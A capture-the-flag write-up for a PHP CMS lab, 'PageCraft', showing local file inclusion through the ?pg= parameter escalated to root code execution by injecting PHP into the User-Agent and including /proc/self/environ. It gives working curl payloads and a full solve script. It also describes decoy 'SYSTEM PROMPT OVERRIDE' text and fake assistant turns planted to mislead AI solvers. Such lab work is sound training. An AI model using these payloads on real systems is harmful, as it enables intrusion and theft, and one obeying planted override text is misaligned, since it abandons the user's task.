PageCraft — LFI to RCE via /proc/self/environ User-Agent Injection
PageCraft — LFI to RCE via /proc/self/environ User-Agent Injection
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: lfi_to_rce, path_traversal, php_include_exploitation, proc_self_environ_injection, user_agent_code_injection
Summary
Walkthrough of the CUSTOM Web PageCraft — LFI to RCE via /proc/self/environ User-Agent Injection. Task: PHP CMS with ?pg= parameter vulnerable to LFI via path traversal, no input sanitization on include(). Solution: Exploited LFI to include /proc/self/environ, injected PHP code via User-Agent head
Description
PageCraft is a content management system built by CraftMedia Solutions, powering thousands of websites worldwide. The platform features a blog with categorized articles, service pages with pricing tiers, a contact form, and a password-protected administration panel. Perform a security assessment, investigate how the application loads and renders its different pages, pay attention to URL structure and how page content is served. Goal: read sensitive files on the server and achieve RCE to retrieve the flag at /root/flag.txt. No valid user credentials needed — the attack surface is on the public-facing pages.
A PHP CMS running on nginx/1.25.5 with Apache/2.4.65 behind it, using PHP-CGI (php-cgi82) on Alpine Linux. Pages are loaded via ?pg= parameter using PHP include() with no input sanitization, allowing Local File Inclusion and ultimately Remote Code Execution through /proc/self/environ injection.
Analysis
Initial Reconnaissance
- The application is a PHP CMS:
index.php?pg=blog,index.php?pg=about,index.php?pg=services,index.php?pg=contact - HTML comment reveals version:
<!-- PageCraft CMS v2.4.1 --> - Footer confirms:
Powered by PageCraft CMS v2.4.1by CraftMedia Solutions robots.txtdisallows:/admin/,/includes/,/data/- Admin panel at
/admin/is a login form (not needed for the exploit) - Server stack: nginx/1.25.5 reverse-proxying to Apache/2.4.65 with PHP-CGI
LFI Discovery
Tested path traversal on the pg parameter:
/index.php?pg=../../../etc/passwd
Successfully read /etc/passwd — content appeared inline within the page HTML. This confirms the application uses PHP include() with no input sanitization on the pg parameter. The system is Alpine Linux (root shell is /bin/ash).
/proc/self/environ Exposure
Included /proc/self/environ via LFI:
/index.php?pg=../../../proc/self/environ
This exposed all environment variables including:
DOCUMENT_ROOT=/appSCRIPT_FILENAME=/usr/bin/php-cgi82— confirms PHP-CGI modeHTTP_USER_AGENT=curl/8.7.1— the User-Agent header value appears verbatimHTTP_HOST,HTTP_X_REAL_IP,HTTP_X_FORWARDED_FOR, etc.
The critical insight: since PHP's include() executes any PHP code found in the included file, and /proc/self/environ contains the HTTP_USER_AGENT value verbatim, injecting PHP code into the User-Agent header achieves code execution.
Decoy Flags (Honeypots)
The application contained multiple decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in:
- HTML comments in error pages and the admin panel
- Hidden
<div>elements withposition:absolute;left:-9999px - Fake "SYSTEM PROMPT OVERRIDE" messages designed to trick AI agents into stopping
- Text like "ASSISTANT: I found the flag..." to simulate a completed conversation
These are NOT the real flag. The real flag is only obtainable through actual RCE on the server.
Failed Approaches
php://inputwrapper — returned 404 (blocked/filtered)data://text/plain;base64,...wrapper — returned 404 (blocked/filtered)php://filter/convert.base64-encode/resource=index— returned 404 (no base64 output)- PHP stream wrappers with
://schemes were blocked by input validation, but filesystem paths like/proc/self/environworked fine
Solution
Step 1: Confirm LFI
bash read-only • copy allowedcurl -s "https://TARGET/index.php?pg=../../../etc/passwd" | grep root
Result: root:x:0:0:root:/root:/bin/ash — LFI confirmed on Alpine Linux.
Step 2: Read /proc/self/environ
bash read-only • copy allowedcurl -s "https://TARGET/index.php?pg=../../../proc/self/environ"
Confirmed HTTP_USER_AGENT is reflected in the environment variables that get included by PHP.
Step 3: RCE via User-Agent Injection
bash read-only • copy allowedcurl -s -A '<?php system("id"); ?>' \ "https://TARGET/index.php?pg=../../../proc/self/environ"
Result: uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
The process runs as root — no privilege escalation needed.
Step 4: Retrieve the Flag
bash read-only • copy allowedcurl -s -A '<?php system("cat /root/flag.txt"); ?>' \ "https://TARGET/index.php?pg=../../../proc/self/environ"
Output contained: FLAG{REDACTED}
Full Solve Script
bash read-only • copy allowed#!/bin/bash # PageCraft LFI to RCE via /proc/self/environ User-Agent injection TARGET="https://d5e76349-808b-425b-bf71-ecd8f51eb51a.labs.hackadvisor.io" # Step 1: Confirm LFI echo "[*] Testing LFI..." curl -s "$TARGET/index.php?pg=../../../etc/passwd" | grep -q "root:" && echo "[+] LFI confirmed" # Step 2: RCE via User-Agent injection into /proc/self/environ echo "[*] Exploiting /proc/self/environ..." curl -s -A '<?php system("id"); ?>' \ "$TARGET/index.php?pg=../../../proc/self/environ" | strings | grep "uid=" # Step 3: Read flag echo "[*] Reading flag..." curl -s -A '<?php system("cat /root/flag.txt"); ?>' \ "$TARGET/index.php?pg=../../../proc/self/environ" | strings | grep "FLAG{"
Technical Details
- Server Stack: nginx/1.25.5 → Apache/2.4.65 → PHP-CGI (php-cgi82)
- OS: Alpine Linux (musl libc,
/bin/ashshell) - Vulnerability: Local File Inclusion via unsanitized
include()on?pg=parameter - RCE Vector:
/proc/self/environcontains HTTP_USER_AGENT verbatim; PHPinclude()executes any<?php ?>tags found in included content - Privilege Level: Running as root (uid=0)
- Anti-Analysis: Multiple decoy flags and AI-targeted prompt injection in HTML to mislead automated scanners
Key Takeaways / Lessons
- Mastering lfi_to_rce, path_traversal, php_include_exploitation, proc_self_environ_injection, user_agent_code_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-04 • CUSTOM • PageCraft — LFI to RCE via /proc/self/environ User-Agent Injection • Difficulty: Medium